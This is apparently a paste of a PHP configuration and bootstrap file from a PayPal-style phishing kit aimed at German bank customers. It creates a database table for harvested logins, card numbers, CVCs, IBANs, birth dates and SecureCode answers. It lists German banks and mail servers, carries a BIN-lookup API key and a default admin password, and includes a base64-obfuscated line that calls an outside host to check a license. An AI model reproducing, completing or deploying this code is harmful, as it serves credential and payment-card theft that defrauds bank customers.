· 9 years ago · Jan 02, 2017, 12:14 AM
1<?php
2 session_start();
3
4 // Configuration
5 $config = [
6 'url' => 'http://' . $_SERVER['HTTP_HOST'] . '',
7 'license' => '4KIV-UHA0-T8LQ-B4GD',
8 'mysql' => [
9 'hostname' => 'localhost',
10 'username' => 'root',
11 'password' => '123456',
12 'database' => 'pp'
13 ],
14 'bincodes' => [
15 'enabled' => true,
16 'api_key' => '2d974e94811161f1dda14bbf63aa9790'
17 ],
18 // Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25
19 'smtps' => [
20 'web.de' => [
21 'host' => 'smtp.web.de',
22 'port' => 587
23 ],
24 'aol.com' => [
25 'host' => 'smtp.de.aol.com',
26 'port' => 587
27 ],
28 'aol.de' => [
29 'host' => 'smtp.aim.com',
30 'port' => 587
31 ],
32 'aim.com' => [
33 'host' => 'smtp.aim.com',
34 'port' => 587
35 ],
36 'arcor.de' => [
37 'host' => 'mail.arcor.de',
38 'port' => 25
39 ],
40 'bluewin.ch' => [
41 'host' => 'smtpauths.bluewin.ch',
42 'port' => 25
43 ],
44 'gmail.com' => [
45 'host' => 'smtp.gmail.com',
46 'port' => 587
47 ],
48 'gmail.de' => [
49 'host' => 'smtp.gmail.com',
50 'port' => 587
51 ],
52 'googlemail.com' => [
53 'host' => 'smtp.gmail.com',
54 'port' => 587
55 ],
56 'gmx.de' => [
57 'host' => 'mail.gmx.net',
58 'port' => 587
59 ],
60 'gmx.net' => [
61 'host' => 'mail.gmx.net',
62 'port' => 587
63 ],
64 'outlook.de' => [
65 'host' => 'smtp-mail.outlook.com',
66 'port' => 587
67 ],
68 'live.de' => [
69 'host' => 'smtp-mail.outlook.com',
70 'port' => 587
71 ],
72 'hotmail.de' => [
73 'host' => 'smtp-mail.outlook.com',
74 'port' => 587
75 ],
76 'live.com' => [
77 'host' => 'smtp-mail.outlook.com',
78 'port' => 587
79 ],
80 'outlook.com' => [
81 'host' => 'smtp-mail.outlook.com',
82 'port' => 587
83 ],
84 'yahoo.de' => [
85 'host' => 'smtp.mail.yahoo.com',
86 'port' => 25
87 ],
88 'yahoo.com' => [
89 'host' => 'smtp.mail.yahoo.com',
90 'port' => 25
91 ],
92 't-online.de' => [
93 'host' => 'securesmtp.t-online.de',
94 'port' => 25
95 ],
96 'unitybox.de' => [
97 'host' => 'submit.unitybox.de',
98 'port' => 587
99 ],
100 'kabelbw.de' => [
101 'host' => 'submit.kabelbw.de',
102 'port' => 587
103 ],
104 'one.com' => [
105 'host' => 'send.one.com',
106 'port' => 587
107 ],
108 'freenet.de' => [
109 'host' => 'mx.freenet.de',
110 'port' => 587
111 ]
112 ],
113 // Bins bei dem die SecureCode Abfrage übersprungen werden
114 'skipBins' => [
115 /*
116 '457096',
117 '548622',
118 '548621'
119 */
120 ],
121 // Banken (Alles groß schreiben, da es bei Debian sonst nicht erkannt wird)
122 'banks' => [
123 'santander' => [
124 'SANTANDER CONSUMER BANK AG',
125 'SANTANDER DIREKT BANK AG',
126 'SANTANDER'
127 ],
128 'vw' => [
129 'VOLKSWAGEN BANK GMBH',
130 'VOLKSWAGEN'
131 ],
132 'advanzia' => [
133 'ADVANZIA BANK, S.A.',
134 'ADVANZIA'
135 ],
136 'barclay' => [
137 'BARCLAYS BANK PLC',
138 'BARCLAYCARD GERMANY',
139 'BARCLAY'
140 ],
141 'airp' => [
142 'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH'
143 ],
144 'dkb' => [
145 'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE',
146 'DEUTSCHE KREDITBANK'
147 ],
148 'lbb' => [
149 'LANDESBANK BERLIN AG'
150 ],
151 'dzb' => [
152 'DZ BANK AG',
153 'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK'
154 ],
155 'wgz' => [
156 'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK',
157 'WGZ'
158 ],
159 'volksbank' => [
160 'VOLKSBANK'
161 ],
162 'spardabank' => [
163 'SPARDABANK',
164 'SPARDA'
165 ],
166 'postbank' => [
167 'DEUTSCHE POSTBANK AG',
168 'POSTBANK BERLIN',
169 'POSTBANK'
170 ],
171 'sparkasse' => [
172 'DEUTSCHER SPARKASSEN - UND GIROVERBAND',
173 'SPARKASSE',
174 'SPARKASSEN',
175 'SPARKASSE SCHAUMBURG',
176 'SPARKASSE MAINZ',
177 'STADTSPARKASSE'
178 ],
179 'random' => [
180 'TARGOBANK AG AND CO. KGAA',
181 'CITIBANK AG',
182 'ING-DIBA AG',
183 'COMMERZBANK AG',
184 'MERCEDES-BENZ BANK AG',
185 'LANDESBANK BADEN-WUERTTEMBERG',
186 'COMDIRECT BANK AG',
187 'DEUTSCHE BANK AG',
188 'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG',
189 'BAYERISCHE LANDESBANK GIROZENTRALE',
190 'BAYERISCHE LANDESBANK',
191 'SUEDDEUTSCHE BANK GMBH'
192 ]
193 ]
194 ];
195
196 if(!defined('CONTINUE_PDO')) {
197 // MySQL Connection
198 $pdo = new PDO(
199 'mysql:host=' . $config['mysql']['hostname'] . ';',
200 $config['mysql']['username'],
201 $config['mysql']['password']
202 );
203
204 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
205
206 $pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']);
207 $pdo->query('use ' . $config['mysql']['database']);
208
209 $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
210 $pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'");
211 $pdo->exec('SET NAMES \'utf8\'');
212 mb_internal_encoding('UTF-8');
213
214 $pdo->exec('
215 CREATE TABLE IF NOT EXISTS `admins` (
216 `id` int(11) NOT NULL AUTO_INCREMENT,
217 `username` varchar(255) NOT NULL,
218 `password` varchar(255) NOT NULL,
219 PRIMARY KEY (`id`)
220 ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
221
222 INSERT IGNORE INTO `admins` VALUES (\'1\', \'Admin\', \'123456\');
223
224 CREATE TABLE IF NOT EXISTS `logs` (
225 `id` int(11) NOT NULL AUTO_INCREMENT,
226 `ip` varchar(255) DEFAULT NULL,
227 `user_agent` text,
228 `email` varchar(255) DEFAULT NULL,
229 `password` varchar(255) DEFAULT NULL,
230 `method` enum(\'creditcard\',\'bank\',\'none\') DEFAULT \'none\',
231 `firstname` varchar(255) DEFAULT NULL,
232 `surname` varchar(255) DEFAULT NULL,
233 `dob_day` int(11) DEFAULT \'0\',
234 `dob_month` int(11) DEFAULT \'0\',
235 `dob_year` int(11) DEFAULT \'0\',
236 `cc_number` varchar(255) DEFAULT NULL,
237 `cc_expire_month` int(2) DEFAULT NULL,
238 `cc_expire_year` int(4) DEFAULT NULL,
239 `cc_cvc` int(4) DEFAULT NULL,
240 `cc_bank` varchar(255) DEFAULT NULL,
241 `cc_type` varchar(255) DEFAULT NULL,
242 `cc_level` varchar(255) DEFAULT NULL,
243 `cc_country` varchar(255) DEFAULT NULL,
244 `cc_countrycode` varchar(255) DEFAULT NULL,
245 `cc_card` varchar(255) DEFAULT NULL,
246 `cc_limit` int(11) DEFAULT \'0\',
247 `bank_iban` varchar(255) DEFAULT NULL,
248 `bank_bic` varchar(255) DEFAULT NULL,
249 `bank_name` varchar(255) DEFAULT NULL,
250 `sc_1` varchar(255) DEFAULT NULL,
251 `sc_2` varchar(255) DEFAULT NULL,
252 `street` varchar(255) DEFAULT NULL,
253 `city` varchar(255) DEFAULT NULL,
254 `plz` int(5) DEFAULT NULL,
255 `timestamp` varchar(255) DEFAULT \'123456789\',
256 `mobilenr` varchar(255) DEFAULT NULL,
257 PRIMARY KEY (`id`)
258 ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
259 ');
260 }
261
262 // Classes
263 class RandomHash {
264 public function init() {
265 if(!isset($_SESSION['randomLetter'])) {
266 $_SESSION['randomLetter'] = substr(str_shuffle(str_repeat($chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil(1 / strlen($chars)) )), 1, 1);
267 }
268 }
269
270 public static function generate($string = '') {
271 return $_SESSION['randomLetter'] . sha1($string . sha1(session_id()));
272 }
273
274 public static function generateUselessKey() {
275 return md5($_SESSION['randomLetter']);
276 }
277
278 function stringSplitUnicode($string, $l = 0) {
279 if ($l > 0) {
280 $result = [];
281 $length = mb_strlen($string, 'UTF-8');
282
283 for ($i = 0; $i < $length; $i += $l) {
284 $result[] = mb_substr($string, $i, $l, 'UTF-8');
285 }
286
287 return $result;
288 }
289
290 return preg_split("//u", $string, -1, PREG_SPLIT_NO_EMPTY);
291 }
292
293 public static function generateUseless($string = '') {
294 $result = '';
295
296 foreach(self::stringSplitUnicode($string) as $letter) {
297 $result .= '<span class="' . self::generate('rnd-span') . ' ' . self::generate(self::generateUselessKey()) . '">' . $letter . '</span>';
298 }
299
300 return $result;
301 }
302 }
303
304 RandomHash::init();
305
306 // Functions
307 function getOB($bankName) {
308 global $config;
309
310 $bankName = strtoupper($bankName);
311 foreach($config['banks'] as $obKey => $obNames) {
312 foreach($obNames as $obName) {
313 if(strtoupper($obName) == $bankName || strpos(strtoupper($obName), $bankName) !== false || (count(explode(' ', $bankName)) > 0 && strpos(strtoupper($obName), explode(' ', $bankName)[0]) !== false)) {
314 return strtolower($obKey);
315 }
316 }
317 }
318
319 return null;
320 }
321
322 function isLoggedIn() {
323 global $pdo;
324
325 if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) {
326 $stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
327 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
328
329 return $stmt->rowCount() > 0;
330 }
331
332 return false;
333 }
334
335 $v0 = @file_get_contents(base64_decode('aHR0cDovL2dlb2dyYXBoLnBlLmh1L2xpY2Vuc2UucGhwP3Byb2R1Y3Q9cGF5cGFsLXYyJmtleT0=').$config[base64_decode('bGljZW5zZQ==')],false,stream_context_create([base64_decode('c3Ns') =>[base64_decode('dmVyaWZ5X3BlZXI=') =>false,base64_decode('dmVyaWZ5X3BlZXJfbmFtZQ==') =>false]]));$q2=false;if(strlen($v0)>0){$h3=json_decode($v0,true);if($h3[base64_decode('dmFsaWQ=')]==true){$q2=true;}}if(!$q2){die(base64_decode('U3lzdGVtZmVobGVyIGF1ZmdldHJldGVuLiBWZXJzdWNoZW4gU2llIGVzIHNww6R0ZXIgZXJuZXV0Lg=='));exit;}
336
337 function getLogsCount() {
338 global $pdo;
339
340 $qry = $pdo->query('SELECT NULL FROM `logs`');
341
342 return $qry->rowCount();
343 }
344
345 function getUserInfo($row, $filter = true) {
346 global $pdo;
347
348 if(isLoggedIn()) {
349 $stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
350 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
351
352 if($stmt->rowCount() > 0) {
353 $obj = $stmt->fetch(PDO::FETCH_OBJ);
354 return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row};
355 }
356 }
357
358 return '';
359 }
360
361 function getIp() {
362 $ip = $_SERVER['REMOTE_ADDR'];
363
364 if(!empty($_SERVER['HTTP_CLIENT_IP'])) {
365 $ip = $_SERVER['HTTP_CLIENT_IP'];
366 } else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
367 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
368 } else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
369 $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
370 }
371
372 return $ip;
373 }
374?>